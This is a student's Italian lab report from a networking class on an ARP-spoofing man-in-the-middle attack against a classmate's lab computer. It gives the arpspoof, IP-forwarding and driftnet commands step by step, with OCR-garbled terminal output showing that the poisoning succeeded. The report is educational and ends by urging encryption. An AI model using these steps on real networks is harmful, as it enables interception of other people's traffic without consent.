



Pagina 1 di 6

MATERIA	ANNO SCOLASTICO	INSEGNANTI
SISTEMI E RETI	2022/2023	SIMONE ZANELLA   MARCO DE ROSSI
LUOGO E DATA	CLASSE	ALUNNO/I
28/01/2023	4 B INF	Heinrich Kevin

TITOLO DELLA PROVA/PROGETTO/LAVORO Attacco Man-in-the-middle MITM

OBIETTIVI

Identificare i rischi conseguenti da questo tipo di attacco

### STRUMENTAZIONE UTILIZZATA

Sistema operativo dove si avvia l'attacco: Kali Linux [Virtual Machine] Sistema operativo della macchina Host: Windows 11 DriftNet VirtualBox

### INTRODUZIONE

Prima di cominciare ad attaccare un bersaglio [Target Machine] è opportuno avere presente i concetti teorici fondamentali che serviranno per lo svolgimento dell'esercitazione, il cui obiettivo è identificare i passaggi per effettuare un attacco MITM e identificare i rischi e le conseguenze.

Per effettuare un qualsiasi tipo di attacco tramite internet bisogna avere le idee chiare su come funziona il **traffico di dati**. Ogni dato che noi emettiamo sulla rete ha un indirizzo, **l'indirizzo IP** [Internet protocol address], una stringa di numeri separati da punti, che identifica un dispositivo collegato a una rete internet. **L'indirizzo Mac** o Mac Address [Media access control] a volte detto anche indirizzo fisico o indirizzo ethernet è un identificatore alfanumerico di 12 caratteri associato alla scheda di rete.

L'attacco verrà eseguito da una **macchina virtuale** [S.O Kali Linux] che attaccherà il Computer del vicino di banco. È molto importante configurare la scheda di rete virtuale e scegliere la modalità di utilizzo ideale per l'esperimento: **NAT**, possibilità di accedere alle risorse di rete usando l'indirizzo IP del computer HOST e consente inoltre a più macchine virtuali di ospitare software che richiedono porte di comunicazione identiche. **Bridged**: la macchina virtuale ottiene un proprio indirizzo IP.

Abbiamo menzionato spesse volte l'attacco MITM, ma che cos'è? E come funziona? L'attacco MITM [Man in the Middle] è un attacco informatico di tipo passivo, ovvero che ha lo scopo di individuare i dati e le informazioni presenti nel sistema al contrario del tipo attivo che si basa sull'alterazione dei dati oppure dei flussi con cui i dati sono trasmessi in rete, basato sul protocollo ARP

# **RELAZIONE TECNICA**

Pagina 2 di 6

[Address Resolution Protocol] che serve per ricevere il MAC address una volta noto l'indirizzo IP di destinazione. Il concetto fondamentale è quello di captare le informazioni del pc attaccato. Dopo aver avviato un attacco MITM tutto il traffico che viaggia tra la macchina attaccata e il gateway transiterà tramite il nostro Pc. Ogni volta che il pc attaccato/client naviga, invece di contattare il gateway e il gateway manda la risposta e i pacchetti al client, passeranno a me/perpetrator dopodiché il perpetrator manderà i pacchetti ricevuti dal client al gateway, il gateway manderà al perpetrator la risposta/pacchetti e infine le inoltra al client. Il client non si accorgerà di niente e se il sito dove sta navigando non è crittografato [HTTP] si ha la possibilità di leggere tutto quello che transita.



Il Gateway è un componente hardware o software che stabilisce una connessione tra due sistemi diversi

La Tabella arp memorizza ogni indirizzo IP chiamato dal pc e lo associa al corrispondente indirizzo MAC

### DESCRIZIONE DELLE FASI DI LAVORO/PROGETTO

### Installazioni

Per poter effettuare un attacco di tipo Arp Poising bisogna installare il software "Arpspoof" attraverso i seguenti comandi inserendoli nella shell di Kali

#### sudo apt-get update sudo apt-get install dsniff

Il comando sudo serve per eseguire il comando come amministratore, apt-get update per aggiornare il sistema operativo, per fare si che non ci siano conflitti e bug tra i vari software e install dsniff per installare dsniff [si occupa di analizzare il traffico].

Per abilitare la modalità di intercettare tutto il traffico di rete bisogna abilitare la modalità promiscua.

#### ifconfig eth0 promisc sysctl -w net.ipv4.ip\_forward=1

Il comando ifconfig serve per ricevere le informazioni sulla propria rete [indirizzo IP, indirizzo MAC] e eth0 è la nostra interfaccia

Se volesse cambiare il layout di tastiera digitare il seguente comando nella shell:

### setxkbmap -layout it

# RELAZIONE TECNICA

Pagina 3 di 6

### Avvio attacco MITM

Per l'attacco MITM servono 4 informazioni:

- Il tuo indirizzo IP [ipv4], digitando ifconfig, l'indirizzo sarà la stringa di numeri che arrivano dopo inet
- Il tuo indirizzo Mac, digitando ifconfig, l'indirizzo sarà la stringa di numeri che arrivano dopo ether

kali@kali: ~ File Actions Edit View Help eth0: flags=4419<UP,BROADCAST,RUNNING,PROMISC,MULTICAST> mtu 1500 inet 192.168.0.125 netmask 255.255.255.0 broadcast 192.168.0 ether 08:00<mark>:27:3e:</mark>48:27 txqueuelen 1000 (Ethernet) RX packets 151558 bytes 137619532 (131.2 MiB) RX errors 0 dropped 310 overruns 0 frame 0 TX packets 9625 bytes 6940378 (6.6 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0×10<host> op txqueuelen 1000 (Local Loopback) packets 10 bytes 744 (744.0 B) errors 0 dropped 0 overruns 0 frame loop frame 0 packets 10 bytes 744 (744.0 B) errors 0 dropped 0 overruns 0 carrier 0 collisions 0 11)-[~] - Il tuo gateway, digitando ip route show ali@kali) [w] in route show default via 192.168.0.89 dev otho proto dhep metric 100 192.168.0.0/24 dev eth0 proto kernel scope link src 192.168.0.129 metric 100 - L'indirizzo IP del bersaglio

# RELAZIONE TECNICA

Pagina 4 di 6

Nel nostro caso abbiamo le seguenti informazioni:

- Indirizzo IP **192.168.0.125**
- Indirizzo Mac 08:00:27:3e: 48:27
- Gateway 192.168.0.89
- Indirizzo Ip Bersaglio 192.168.0.168

Lanciare 3 finestre separate del terminale.

Nella prima finestra lanciare il seguente comando, sostituendo IP\_gateway con il tuo indirizzo del gateway e sostituendo IP\_bersaglio con l'indirizzo IP del bersaglio. Nella prima finestra verrà invia i pacchetti e nella seconda le riceve.

### arpspoof -i eth0 -t IP\_gateway IP\_bersaglio

La stessa cosa verrà effettuata nella seconda finestra del terminale ma con gli ultimi comandi scambiati.

### arpspoof -i eth0 -t IP\_bersaglio IP\_gateway

Lati@kalk - File Actions Edit View Help	- 0 X	E tali@kalk - File Actions Edit View Help	- 0 ×
2.168.0.161 is-at 8:0:27:e:34:8d 8:0:27:e:34:8d 0:b0:C9:7a:13:a4 0806 42: arp reply 19 2.168.0.161 is-at 8:0:27:e:34:8d "CCleaning up and re-arping targets 8:0:27:e:34:8d 0:b0:C9:7a:13:a4 0806 42: arp reply 19 2.168.0.161 is-at 98:ee:cb:a7:a9:f9 8:0:27:e:34:8d 0:b0:C9:7a:13:a4 0806 42: arp reply 19 2.168.0.161 is-at 98:ee:cb:a7:a9:f9		8:0:27:e:34:8d 98:ee:cb:a7:a9:f9 0806 42: arp reply 192.168.0.8 9 is-at 8:0:27:e:34:8d 8:0:27:e:34:8d 98:ee:cb:a7:a9:f9 0806 42: arp reply 192.168.0.8	

Per implementare driftnet, che si occupa di rappresentare le immagini che si trovano sul sito in cui il client naviga, utilizzare il seguente comando.

sudo driftnet -i eth0 e inserire la password da sudo: kali



# **RELAZIONE TECNICA**

Pagina 5 di 6

🛛 📰 💼 🍃 🍪 🗁 🖌 1 2 3 4 🍬 🚡	
kar@kalu -	
ile Actions Edit View Help	File Actions Edit View Help
2: flags=73 <up,loopback,running> mtu 65536 inet 127.0.0.1 netmask 255.0.0</up,loopback,running>	7:3e:48:27 8:0:27:3e:48:27 98:ee:cb:a7:ac:a3 0806 42: arp reply 192.168.0.89 is-at 8:0
inet6 ::1 prefixlen 128 scopeid 0×10 <host></host>	8:0:27:3e:48:27 98:ee:cb:a7:ac:a3 0806 42: arp reply 192.168.0.89 is-at 8:0
RX packets 10 bytes 744 (744.0 B)	7:3e:48:27 8:0:27:3e:48:27 98:ee:cb:a7:ac:a3 0806 42: arp reply 192.168.0.89 is-at 8:0
TX packets 10 bytes 744 (744.0 B)	7:3e:48:27 8:0:27:3e:48:27 98:ee:cb:a7:ac:a3 0806 42: aro renly 192 168 0 80 is at era.
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0	7:3e:48:27
-(kali@kali)-[w]	7:3e:48:27
-\$ driftnet -i eth0	8:0:27:3e:48:27 98:ee:cb:a7:ac:a3 0806 42: arp reply 192.168.0.89 is-at 8:0: 7:3e:48:27
ri Jan 27 03:45:42 2023 - error: pcap_activate: You don't have permission to capture on that device	8:0:27:3e:48:27 98:ee:cb:a7:ac:a3 0806 42: arp reply 192.168.0.89 is-at 8:0: 7:3e:48:27
-(kali@kali)-[~]	8:0:27:3e:48:27 98:ee:cb:a7:ac:a3 0806 42: arp reply 192.168.0.89 is-at 8:0: 7:3e:48:37
-\$ <u>sudo</u> driftnet -i eth0 sudol password for kali:	8:0:27:3e:48:27 98:ee:cb:a7:ac:a3 0806 42: arp reply 192.168.0.89 is-at 8:0:
ibpng warning: Interlace handling should be turned on when using png_read	7:3e:48:27 8:0:27:3e:48:27 98:ee:cb:a7:ac:a3 0806 42: arp reply 192.168.0.89 is-at 8:0:
ri Jan 27 03:46:41 2023 - warning: image data too small (51 bytes) to bot	7:3e:48:27 8:0:27:3e:48:27 98:ee:cb:a7:ac:a3 0806 42: arp reply 192.168.0.89 is-at 8:0:
driftnet	7:3e:48:27
	File Actions Edit View Help
	0:27:3e:48:27
	8:0:27:3e:48:27 0:b0:c9:7a:13:a4 0806 42: arp reply 192.168.0.168 is-at 8: 0:27:3e:48:27
	8:0:27:3e:48:27 0:b0:c9:7a:13:a4 0806 42: arp reply 192.168.0.168 is-at 8: 0:77:3e:48:27
	8:0:27:3e:48:27 0:b0:c9:7a:13:a4 0806 42: arp reply 192.168.0.168 is-at 8:
	8:0:27:3e:48:27 0:b0:c9:7a:13:a4 0806 42: arp reply 192.168.0.168 is-at 8:
	0:2/:3e:48:27 8:0:27:3e:48:27 0:b0:c9:7a:13:a4 0806 42: arp reply 192.168.0.168 is-at 8:
	0:27:3e:48:27 8:0:27:3e:48:27 0:b0:c9:7a:13:a4 0806 42: arp reply 192.168.0.168 is-at 8:
	0:27:3e:48:27 8:0:27:3e:48:27 0:b0:c9:7a:13:a4 0806 42: arp reply 192.168.0.168 is-at 8:
	0:27:3e:48:27 8:0:77:3e:48:27 0:h0:c9:7a:13:54 0806 62: arm renty 192 168 0 168 is-at 8:
	0:27:3e:48:27
Corte dei conti	0:27:3e:48:27 0:27:3e:48:27 0:27:3e:48:27
-	0.0.2/.32:40.2/ 0:D0:C9:/d:13:d4 0000 42- arp repty 192:100.0.100 19 00 0
	ti 🔥 🗷 🖉 🖬 🖄 🖾 CTRL (DESTR.)
Dana aver attaganta il gliant paggiama apriva la tabal	
Dopo aver attaccato il client possiano aprire la taber	la alp sui nostro computer attraverso il comando arp -
a per verificare che il client na come indirizzo ip il no	ostro gateway e come indirizzo fisico [mac] il nostro e
non più il suo. Attraverso questa vennca siamo certi d	che ogni dato passa al nostro computer e poi al sito.
Interfaccia: 192.168.0.16	8 0xf
192,168.0.89	8-00-27-3e-48-27 dinamico
192.168.0.123 9	0-1b-0e-fa-94-d2 dinamico
192.168.0.125 0	8-00-27-3e-48-27 dinamico
192.168.0.254 f	f-ff-ff-ff-ff statico
224.0.0.2	1-00-5e-00-00-02 statico
224.0.0.5	1-00-50-00-05
224.0.0.22	1-00-50-00-60 statico
224.0.0.252 0	1-00-5e-00-00-fc statico
224.0.1.60	1-00-5e-00-01-3C Statico
225.16.8.68	1-08-50-18-04-40 statico
225,24,4,64	1-00-50-7f-66-12 Statico
239.255.255.250	1-88-56-ff-ff-ff statice
255.255.255.255	

## RELAZIONE TECNICA

Pagina 6 di 6

### **CONCLUSIONI E OSSERVAZIONI**

Attraverso questa esercitazione ho capito che l'attacco MITM è molto utile per la cybersecurity, sapere cosa sia un attacco MITM è importante soprattutto per le aziende informatiche. Per questo è importante crittografare ogni tipo di dato e sito che si utilizza. In questa esercitazione ho visto che eravamo molto limitati sul tipo di interfaccia che rappresenta i dati e sulla scelta di siti, http e non https perché non siamo ancora in grado di decifrare i dati crittografati.